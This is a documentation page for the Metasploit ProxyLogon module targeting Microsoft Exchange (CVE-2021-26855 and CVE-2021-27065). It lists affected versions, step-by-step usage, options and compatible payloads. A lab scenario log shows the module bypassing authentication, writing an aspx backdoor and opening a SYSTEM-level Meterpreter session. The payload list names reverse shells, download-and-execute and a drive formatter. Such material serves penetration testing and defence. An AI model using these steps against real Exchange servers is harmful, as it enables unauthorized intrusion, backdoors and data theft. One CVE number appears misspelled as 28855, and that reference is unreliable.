Microsoft Exchange ProxyLogon RCE - Metasploit


This page contains detailed information about how to use the exploit/windows/http/exchange_proxylogon_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Microsoft Exchange ProxyLogon RCE
Module: exploit/windows/http/exchange_proxylogon_rce
Source code: modules/exploits/windows/http/exchange_proxylogon_rce.rb
Disclosure date: 2021-03-02
Last modification time: 2021-11-10 11:12:38 +0000
Supported architecture(s): cmd, x64, x86
Supported platform(s): Windows
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2021-26855, CVE-2021-27065

This module is also known as ProxyLogon.

This module exploit a vulnerability on Microsoft Exchange Server that allows an attacker bypassing the authentication, impersonating as the admin (CVE-2021-26855) and write arbitrary file (CVE-2021-27065) to get the RCE (Remote Code Execution). By taking advantage of this vulnerability, you can execute arbitrary commands on the remote Microsoft Exchange Server. This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012, Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009, Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010). All components are vulnerable by default.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).

Basic Usage


msf > use exploit/windows/http/exchange_proxylogon_rce
msf exploit(exchange_proxylogon_rce) > exploit

Required Options


  • CheckModule: Module to check with

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

  • EMAIL: A known email address for this organization

Knowledge Base


Vulnerable Application


CVE-2021-28855 is a pre-authentication SSRF (Server Side Request Forgery) which allows an attacker to bypass authentication by sending specially crafted HTTP requests. This vulnerability is part of an attack chain used to perform an RCE (Remote Code Execution).

CVE-2021-27065 is a post-auth arbitrary-file-write vulnerability to get code execution and the second part of the ProxyLogon attack chain.

This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012, Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009, Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010).

Introduction

This module exploit a vulnerability on Microsoft Exchange Server that allows an attacker bypassing the authentication, impersonating as the admin (CVE-2021-26855) and write arbitrary file (CVE-2021-27065) to get the RCE (Remote Code Execution).

By taking advantage of this vulnerability, you can execute arbitrary commands on the remote Microsoft Exchange Server.

All components are vulnerable by default.

Verification Steps


  1. Start msfconsole
  2. Do: use exploit/windows/http/exchange_proxylogon_rce
  3. Do: set RHOSTS [IP]
  4. Do: set EMAIL [EMAIL ADDRESS]
  5. Do: run

Options


EMAIL

A known email address for this organization.

METHOD

HTTP Method to use for the check (only). Default: POST

UseAlternatePath

Use the IIS root dir as alternate path. Default: false

Advanced Options


BackendServerName

Force the name of the backend Exchange server targeted. Default: Automatic

If not set, the automatic method will use an RPC call to detect the backend server FQDN. This is required because the kerberos-authenticated SSRF can only be sent when the FQDN is known.

ExchangeBasePath

The base path where Exchange is installed. Default: C:\Program Files\Microsoft\Exchange Server\V15

ExchangeWritePath

The path where you want to write the backdoor. Default: owa\auth

You can for example, define to: ecp\auth

IISBasePath

The base path where IIS wwwroot directory is. Default: C:\inetpub\wwwroot

IISWritePath

The path where you want to write the backdoor. Default: aspnet_client

MapiClientApp

This is MAPI client version sent in the request.

MaxWaitLoop

Max counter loop to wait for OAB Virtual Dir reset. Default: 30

Known issues


  1. With cmd/windows/adduser payload, you may need to change the password because the default password does may not meet Microsoft Windows complexity requirements.
  2. Depending on the payload used, two cmd.exe processes remain alive on the server. If this is the case, you cannot make another attempt if they are not killed.

Scenarios


msf6 exploit(windows/http/exchange_proxylogon_rce) > options 

Module options (exploit/windows/http/exchange_proxylogon_rce):

   Name              Current Setting         Required  Description
   ----              ---------------         --------  -----------
   EMAIL             [email protected]  yes       A known email address for this organization
   METHOD            POST                    yes       HTTP Method to use for the check (Accepted: GET, POST)
   Proxies                                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS            192.168.49.58           yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
   RPORT             443                     yes       The target port (TCP)
   SRVHOST           0.0.0.0                 yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT           8080                    yes       The local port to listen on.
   SSL               true                    no        Negotiate SSL/TLS for outgoing connections
   SSLCert                                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                                   no        The URI to use for this exploit (default is random)
   UseAlternatePath  false                   yes       Use the IIS root dir as alternate path
   VHOST                                     no        HTTP server virtual host


Payload options (windows/x64/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LPORT     4444             yes       The listen port
   RHOST     192.168.49.58     no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Windows Powershell


msf6 exploit(windows/http/exchange_proxylogon_rce) > exploit

[*] Executing automatic check (disable AutoCheck to override)
[*] Using auxiliary/scanner/http/exchange_proxylogon as check
[+] https://192.168.49.58:443 - The target is vulnerable to CVE-2021-26855.
[*] Scanned 1 of 1 hosts (100% complete)
[+] The target is vulnerable.
[*] https://192.168.49.58:443 - Attempt to exploit for CVE-2021-26855
[*] https://192.168.49.58:443 - Retrieving backend FQDN over RPC request
[*] Internal server name (srv02.adlab.local)
[*] https://192.168.49.58:443 - Sending autodiscover request
[*] Server: [email protected]
[*] LegacyDN: /o=ExchangeLab/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=536cfe04ed60470a9a06efe4dfceebf6-Domain admin
[*] https://192.168.49.58:443 - Sending mapi request
[*] SID: S-1-5-21-1051242124-2374699599-3566640746-1113 ([email protected])
[*] https://192.168.49.58:443 - Sending ProxyLogon request
[*] Try to get a good msExchCanary (by patching user SID method)
[*] Try to get a good msExchCanary (without correcting the user SID)
[*] ASP.NET_SessionId: 39a0877e-e375-4f8f-b0dd-91dd2a57b2a8
[*] msExchEcpCanary: UFktnukJHk-HpS5vFKa0S7atYvxM9NgI9yo0dsMXgwN8vT1lu_YEmgGvWJdOoBycjlxjgzb95A4.
[*] OAB id: 9b86fdec-7db0-4335-b207-a80596c524af (OAB (Default Web Site))
[*] https://192.168.49.58:443 - Attempt to exploit for CVE-2021-27065
[*] Preparing the payload on the remote target
[*] Writing the payload on the remote target
[!] Waiting for the payload to be available
[+] Yeeting windows/x64/meterpreter/bind_tcp payload at 192.168.49.58:443
[*] Started bind TCP handler against 192.168.49.58:4444
[*] Sending stage (200262 bytes) to 192.168.49.58
[+] Deleted C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\TgnqKA.aspx
[*] Meterpreter session 2 opened (0.0.0.0:0 -> 192.168.49.58:4444) at 2021-03-29 09:59:17 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : SRV02
OS              : Windows 2016+ (10.0 Build 14393).
Architecture    : x64
System Language : en_US
Domain          : ADLAB
Logged On Users : 7
Meterpreter     : x64/windows
meterpreter >

Go back to menu.

Msfconsole Usage


Here is how the windows/http/exchange_proxylogon_rce exploit module looks in the msfconsole:

msf6 > use exploit/windows/http/exchange_proxylogon_rce

[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/http/exchange_proxylogon_rce) > show info

       Name: Microsoft Exchange ProxyLogon RCE
     Module: exploit/windows/http/exchange_proxylogon_rce
   Platform: Windows
       Arch: cmd, x64, x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-03-02

Provided by:
  Orange Tsai
  Jang ( <Jang (@testanull)>
  mekhalleh (RAMELLA S��bastien)
  print("")
  lotusdll
  Praetorian

Module side effects:
 artifacts-on-disk
 ioc-in-logs

Module stability:
 crash-safe

Available targets:
  Id  Name
  --  ----
  0   Windows Powershell
  1   Windows Dropper
  2   Windows Command

Check supported:
  Yes

Basic options:
  Name              Current Setting  Required  Description
  ----              ---------------  --------  -----------
  EMAIL                              yes       A known email address for this organization
  METHOD            POST             yes       HTTP Method to use for the check (Accepted: GET, POST)
  Proxies                            no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                             yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT             443              yes       The target port (TCP)
  SRVHOST           0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT           8080             yes       The local port to listen on.
  SSL               true             no        Negotiate SSL/TLS for outgoing connections
  SSLCert                            no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH                            no        The URI to use for this exploit (default is random)
  UseAlternatePath  false            yes       Use the IIS root dir as alternate path
  VHOST                              no        HTTP server virtual host

Payload information:

Description:
  This module exploit a vulnerability on Microsoft Exchange Server 
  that allows an attacker bypassing the authentication, impersonating 
  as the admin (CVE-2021-26855) and write arbitrary file 
  (CVE-2021-27065) to get the RCE (Remote Code Execution). By taking 
  advantage of this vulnerability, you can execute arbitrary commands 
  on the remote Microsoft Exchange Server. This vulnerability affects 
  (Exchange 2013 Versions < 15.00.1497.012, Exchange 2016 CU18 < 
  15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009, Exchange 2019 
  CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010). All 
  components are vulnerable by default.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2021-26855
  https://nvd.nist.gov/vuln/detail/CVE-2021-27065
  Logo: https://proxylogon.com/images/logo.jpg
  https://proxylogon.com/
  http://aka.ms/exchangevulns
  https://www.praetorian.com/blog/reproducing-proxylogon-exploit
  https://testbnull.medium.com/ph%C3%A2n-t%C3%ADch-l%E1%BB%97-h%E1%BB%95ng-proxylogon-mail-exchange-rce-s%E1%BB%B1-k%E1%BA%BFt-h%E1%BB%A3p-ho%C3%A0n-h%E1%BA%A3o-cve-2021-26855-37f4b6e06265
  https://www.o2oxy.cn/3169.html
  https://github.com/praetorian-inc/proxylogon-exploit
  https://github.com/Zeop-CyberSec/proxylogon_writeup

Also known as:
  ProxyLogon

Module Options


This is a complete list of options available in the windows/http/exchange_proxylogon_rce exploit:

msf6 exploit(windows/http/exchange_proxylogon_rce) > show options

Module options (exploit/windows/http/exchange_proxylogon_rce):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   EMAIL                              yes       A known email address for this organization
   METHOD            POST             yes       HTTP Method to use for the check (Accepted: GET, POST)
   Proxies                            no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                             yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT             443              yes       The target port (TCP)
   SRVHOST           0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT           8080             yes       The local port to listen on.
   SSL               true             no        Negotiate SSL/TLS for outgoing connections
   SSLCert                            no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                            no        The URI to use for this exploit (default is random)
   UseAlternatePath  false            yes       Use the IIS root dir as alternate path
   VHOST                              no        HTTP server virtual host

Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Windows Powershell

Advanced Options


Here is a complete list of advanced options supported by the windows/http/exchange_proxylogon_rce exploit:

msf6 exploit(windows/http/exchange_proxylogon_rce) > show advanced

Module advanced options (exploit/windows/http/exchange_proxylogon_rce):

   Name                                    Current Setting                                 Required  Description
   ----                                    ---------------                                 --------  -----------
   AutoCheck                               true                                            no        Run check before exploit
   BackendServerName                                                                       no        Force the name of the backend Exchange server targeted
   CMDSTAGER::DECODER                                                                      no        The decoder stub to use.
   CMDSTAGER::FLAVOR                       auto                                            no        The CMD Stager to use. (Accepted: auto, psh_invokewebrequest)
   CMDSTAGER::SSL                          false                                           no        Use SSL/TLS for supported stagers
   CMDSTAGER::TEMP                                                                         no        Writable directory for staged files
   CheckModule                             auxiliary/scanner/http/exchange_proxylogon      yes       Module to check with
   ContextInformationFile                                                                  no        The information file that contains context information
   DOMAIN                                  WORKSTATION                                     yes       The domain to use for Windows authentication
   DigestAuthIIS                           true                                            no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   DisablePayloadHandler                   false                                           no        Disable the handler code for the selected payload
   EXE::Custom                                                                             no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR                              false                                           no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack                           false                                           no        Use the default template in case the specified one is missing
   EXE::Inject                             false                                           no        Set to preserve the original EXE function
   EXE::OldMethod                          false                                           no        Set to use the substitution EXE generation method.
   EXE::Path                                                                               no        The directory in which to look for the executable template
   EXE::Template                                                                           no        The executable template file name.
   EnableContextEncoding                   false                                           no        Use transient context when encoding payloads
   ExchangeBasePath                        C:\Program Files\Microsoft\Exchange Server\V15  yes       The base path where exchange is installed
   ExchangeWritePath                       owa\auth                                        yes       The path where you want to write the backdoor
   FileDropperDelay                                                                        no        Delay in seconds before attempting cleanup
   FingerprintCheck                        true                                            no        Conduct a pre-exploit fingerprint verification
   ForceExploit                            false                                           no        Override check result
   HttpClientTimeout                       60                                              no        HTTP connection and receive timeout
   HttpPassword                                                                            no        The HTTP password to specify for authentication
   HttpRawHeaders                                                                          no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace                               false                                           no        Show the raw HTTP requests and responses
   HttpTraceColors                         red/blu                                         no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly                    false                                           no        Show HTTP headers only in HttpTrace
   HttpUsername                                                                            no        The HTTP username to specify for authentication
   IISBasePath                             C:\inetpub\wwwroot                              yes       The base path where IIS wwwroot directory is
   IISWritePath                            aspnet_client                                   yes       The path where you want to write the backdoor
   ListenerComm                                                                            no        The specific communication channel to use for this service
   MSI::Custom                                                                             no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR                              false                                           no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                                                               no        The directory in which to look for the msi template
   MSI::Template                                                                           no        The msi template file name
   MSI::UAC                                false                                           no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   MapiClientApp                           Outlook/15.0.4815.1002                          yes       This is MAPI client version sent in the request
   MaxWaitLoop                             30                                              yes       Max counter loop to wait for OAB Virtual Dir reset
   Powershell::encode_final_payload        false                                           yes       Encode final payload for -EncodedCommand
   Powershell::encode_inner_payload        false                                           yes       Encode inner payload for -EncodedCommand
   Powershell::exec_in_place               false                                           yes       Produce PSH without executable wrapper
   Powershell::exec_rc4                    false                                           yes       Encrypt PSH with RC4
   Powershell::method                      reflection                                      yes       Payload delivery method (Accepted: net, reflection, old, msil)
   Powershell::no_equals                   false                                           yes       Pad base64 until no "=" remains
   Powershell::noninteractive              true                                            yes       Execute powershell without interaction
   Powershell::persist                     false                                           yes       Run the payload in a loop
   Powershell::prepend_protections_bypass  true                                            yes       Prepend AMSI/SBL bypass
   Powershell::prepend_sleep                                                               no        Prepend seconds of sleep
   Powershell::remove_comspec              false                                           yes       Produce script calling powershell directly
   Powershell::strip_comments              true                                            yes       Strip comments
   Powershell::strip_whitespace            false                                           yes       Strip whitespace
   Powershell::sub_funcs                   false                                           yes       Substitute function names
   Powershell::sub_vars                    true                                            yes       Substitute variable names
   Powershell::wrap_double_quotes          true                                            yes       Wraps the -Command argument in single quotes
   SSLCipher                                                                               no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression                          false                                           no        Enable SSL/TLS-level compression
   SSLVersion                              Auto                                            yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   SendRobots                              false                                           no        Return a robots.txt file if asked for one
   URIHOST                                                                                 no        Host to use in URI (useful for tunnels)
   URIPORT                                                                                 no        Port to use in URI (useful for tunnels)
   UserAgent                               Mozilla/5.0                                     yes       The HTTP User-Agent sent in the request
   VERBOSE                                 false                                           no        Enable detailed status messages
   WORKSPACE                                                                               no        Specify the workspace for this module
   WfsDelay                                2                                               no        Additional delay in seconds to wait for a session

Payload advanced options (windows/x64/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   PrependMigrate               false            yes       Spawns and runs shellcode in new process
   PrependMigrateProc                            no        Process to spawn and run shellcode in
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the windows/http/exchange_proxylogon_rce module can exploit:

msf6 exploit(windows/http/exchange_proxylogon_rce) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Windows Powershell
   1   Windows Dropper
   2   Windows Command

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the windows/http/exchange_proxylogon_rce exploit:

msf6 exploit(windows/http/exchange_proxylogon_rce) > show payloads

Compatible Payloads
===================

   #    Name                                                        Disclosure Date  Rank    Check  Description
   -    ----                                                        ---------------  ----    -----  -----------
   0    payload/generic/custom                                                       normal  No     Custom Payload
   1    payload/generic/debug_trap                                                   normal  No     Generic x86 Debug Trap
   2    payload/generic/shell_bind_tcp                                               normal  No     Generic Command Shell, Bind TCP Inline
   3    payload/generic/shell_reverse_tcp                                            normal  No     Generic Command Shell, Reverse TCP Inline
   4    payload/generic/tight_loop                                                   normal  No     Generic x86 Tight Loop
   5    payload/windows/adduser                                                      normal  No     Windows Execute net user /ADD
   6    payload/windows/dllinject/bind_hidden_ipknock_tcp                            normal  No     Reflective DLL Injection, Hidden Bind Ipknock TCP Stager
   7    payload/windows/dllinject/bind_hidden_tcp                                    normal  No     Reflective DLL Injection, Hidden Bind TCP Stager
   8    payload/windows/dllinject/bind_ipv6_tcp                                      normal  No     Reflective DLL Injection, Bind IPv6 TCP Stager (Windows x86)
   9    payload/windows/dllinject/bind_ipv6_tcp_uuid                                 normal  No     Reflective DLL Injection, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   10   payload/windows/dllinject/bind_named_pipe                                    normal  No     Reflective DLL Injection, Windows x86 Bind Named Pipe Stager
   11   payload/windows/dllinject/bind_nonx_tcp                                      normal  No     Reflective DLL Injection, Bind TCP Stager (No NX or Win7)
   12   payload/windows/dllinject/bind_tcp                                           normal  No     Reflective DLL Injection, Bind TCP Stager (Windows x86)
   13   payload/windows/dllinject/bind_tcp_rc4                                       normal  No     Reflective DLL Injection, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   14   payload/windows/dllinject/bind_tcp_uuid                                      normal  No     Reflective DLL Injection, Bind TCP Stager with UUID Support (Windows x86)
   15   payload/windows/dllinject/reverse_hop_http                                   normal  No     Reflective DLL Injection, Reverse Hop HTTP/HTTPS Stager
   16   payload/windows/dllinject/reverse_http                                       normal  No     Reflective DLL Injection, Windows Reverse HTTP Stager (wininet)
   17   payload/windows/dllinject/reverse_http_proxy_pstore                          normal  No     Reflective DLL Injection, Reverse HTTP Stager Proxy
   18   payload/windows/dllinject/reverse_ipv6_tcp                                   normal  No     Reflective DLL Injection, Reverse TCP Stager (IPv6)
   19   payload/windows/dllinject/reverse_nonx_tcp                                   normal  No     Reflective DLL Injection, Reverse TCP Stager (No NX or Win7)
   20   payload/windows/dllinject/reverse_ord_tcp                                    normal  No     Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win7)
   21   payload/windows/dllinject/reverse_tcp                                        normal  No     Reflective DLL Injection, Reverse TCP Stager
   22   payload/windows/dllinject/reverse_tcp_allports                               normal  No     Reflective DLL Injection, Reverse All-Port TCP Stager
   23   payload/windows/dllinject/reverse_tcp_dns                                    normal  No     Reflective DLL Injection, Reverse TCP Stager (DNS)
   24   payload/windows/dllinject/reverse_tcp_rc4                                    normal  No     Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   25   payload/windows/dllinject/reverse_tcp_rc4_dns                                normal  No     Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   26   payload/windows/dllinject/reverse_tcp_uuid                                   normal  No     Reflective DLL Injection, Reverse TCP Stager with UUID Support
   27   payload/windows/dllinject/reverse_winhttp                                    normal  No     Reflective DLL Injection, Windows Reverse HTTP Stager (winhttp)
   28   payload/windows/dns_txt_query_exec                                           normal  No     DNS TXT Record Payload Download and Execution
   29   payload/windows/download_exec                                                normal  No     Windows Executable Download (http,https,ftp) and Execute
   30   payload/windows/exec                                                         normal  No     Windows Execute Command
   31   payload/windows/format_all_drives                                            manual  No     Windows Drive Formatter
   32   payload/windows/loadlibrary                                                  normal  No     Windows LoadLibrary Path
   33   payload/windows/messagebox                                                   normal  No     Windows MessageBox
   34   payload/windows/meterpreter/bind_hidden_ipknock_tcp                          normal  No     Windows Meterpreter (Reflective Injection), Hidden Bind Ipknock TCP Stager
   35   payload/windows/meterpreter/bind_hidden_tcp                                  normal  No     Windows Meterpreter (Reflective Injection), Hidden Bind TCP Stager
   36   payload/windows/meterpreter/bind_ipv6_tcp                                    normal  No     Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
   37   payload/windows/meterpreter/bind_ipv6_tcp_uuid                               normal  No     Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
   38   payload/windows/meterpreter/bind_named_pipe                                  normal  No     Windows Meterpreter (Reflective Injection), Windows x86 Bind Named Pipe Stager
   39   payload/windows/meterpreter/bind_nonx_tcp                                    normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7)
   40   payload/windows/meterpreter/bind_tcp                                         normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager (Windows x86)
   41   payload/windows/meterpreter/bind_tcp_rc4                                     normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   42   payload/windows/meterpreter/bind_tcp_uuid                                    normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
   43   payload/windows/meterpreter/reverse_hop_http                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
   44   payload/windows/meterpreter/reverse_http                                     normal  No     Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (wininet)
   45   payload/windows/meterpreter/reverse_http_proxy_pstore                        normal  No     Windows Meterpreter (Reflective Injection), Reverse HTTP Stager Proxy
   46   payload/windows/meterpreter/reverse_https                                    normal  No     Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (wininet)
   47   payload/windows/meterpreter/reverse_https_proxy                              normal  No     Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager with Support for Custom Proxy
   48   payload/windows/meterpreter/reverse_ipv6_tcp                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (IPv6)
   49   payload/windows/meterpreter/reverse_named_pipe                               normal  No     Windows Meterpreter (Reflective Injection), Windows x86 Reverse Named Pipe (SMB) Stager
   50   payload/windows/meterpreter/reverse_nonx_tcp                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7)
   51   payload/windows/meterpreter/reverse_ord_tcp                                  normal  No     Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   52   payload/windows/meterpreter/reverse_tcp                                      normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager
   53   payload/windows/meterpreter/reverse_tcp_allports                             normal  No     Windows Meterpreter (Reflective Injection), Reverse All-Port TCP Stager
   54   payload/windows/meterpreter/reverse_tcp_dns                                  normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (DNS)
   55   payload/windows/meterpreter/reverse_tcp_rc4                                  normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   56   payload/windows/meterpreter/reverse_tcp_rc4_dns                              normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   57   payload/windows/meterpreter/reverse_tcp_uuid                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager with UUID Support
   58   payload/windows/meterpreter/reverse_winhttp                                  normal  No     Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (winhttp)
   59   payload/windows/meterpreter/reverse_winhttps                                 normal  No     Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (winhttp)
   60   payload/windows/meterpreter_bind_named_pipe                                  normal  No     Windows Meterpreter Shell, Bind Named Pipe Inline
   61   payload/windows/meterpreter_bind_tcp                                         normal  No     Windows Meterpreter Shell, Bind TCP Inline
   62   payload/windows/meterpreter_reverse_http                                     normal  No     Windows Meterpreter Shell, Reverse HTTP Inline
   63   payload/windows/meterpreter_reverse_https                                    normal  No     Windows Meterpreter Shell, Reverse HTTPS Inline
   64   payload/windows/meterpreter_reverse_ipv6_tcp                                 normal  No     Windows Meterpreter Shell, Reverse TCP Inline (IPv6)
   65   payload/windows/meterpreter_reverse_tcp                                      normal  No     Windows Meterpreter Shell, Reverse TCP Inline
   66   payload/windows/metsvc_bind_tcp                                              normal  No     Windows Meterpreter Service, Bind TCP
   67   payload/windows/metsvc_reverse_tcp                                           normal  No     Windows Meterpreter Service, Reverse TCP Inline
   68   payload/windows/patchupdllinject/bind_hidden_ipknock_tcp                     normal  No     Windows Inject DLL, Hidden Bind Ipknock TCP Stager
   69   payload/windows/patchupdllinject/bind_hidden_tcp                             normal  No     Windows Inject DLL, Hidden Bind TCP Stager
   70   payload/windows/patchupdllinject/bind_ipv6_tcp                               normal  No     Windows Inject DLL, Bind IPv6 TCP Stager (Windows x86)
   71   payload/windows/patchupdllinject/bind_ipv6_tcp_uuid                          normal  No     Windows Inject DLL, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   72   payload/windows/patchupdllinject/bind_named_pipe                             normal  No     Windows Inject DLL, Windows x86 Bind Named Pipe Stager
   73   payload/windows/patchupdllinject/bind_nonx_tcp                               normal  No     Windows Inject DLL, Bind TCP Stager (No NX or Win7)
   74   payload/windows/patchupdllinject/bind_tcp                                    normal  No     Windows Inject DLL, Bind TCP Stager (Windows x86)
   75   payload/windows/patchupdllinject/bind_tcp_rc4                                normal  No     Windows Inject DLL, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   76   payload/windows/patchupdllinject/bind_tcp_uuid                               normal  No     Windows Inject DLL, Bind TCP Stager with UUID Support (Windows x86)
   77   payload/windows/patchupdllinject/reverse_ipv6_tcp                            normal  No     Windows Inject DLL, Reverse TCP Stager (IPv6)
   78   payload/windows/patchupdllinject/reverse_nonx_tcp                            normal  No     Windows Inject DLL, Reverse TCP Stager (No NX or Win7)
   79   payload/windows/patchupdllinject/reverse_ord_tcp                             normal  No     Windows Inject DLL, Reverse Ordinal TCP Stager (No NX or Win7)
   80   payload/windows/patchupdllinject/reverse_tcp                                 normal  No     Windows Inject DLL, Reverse TCP Stager
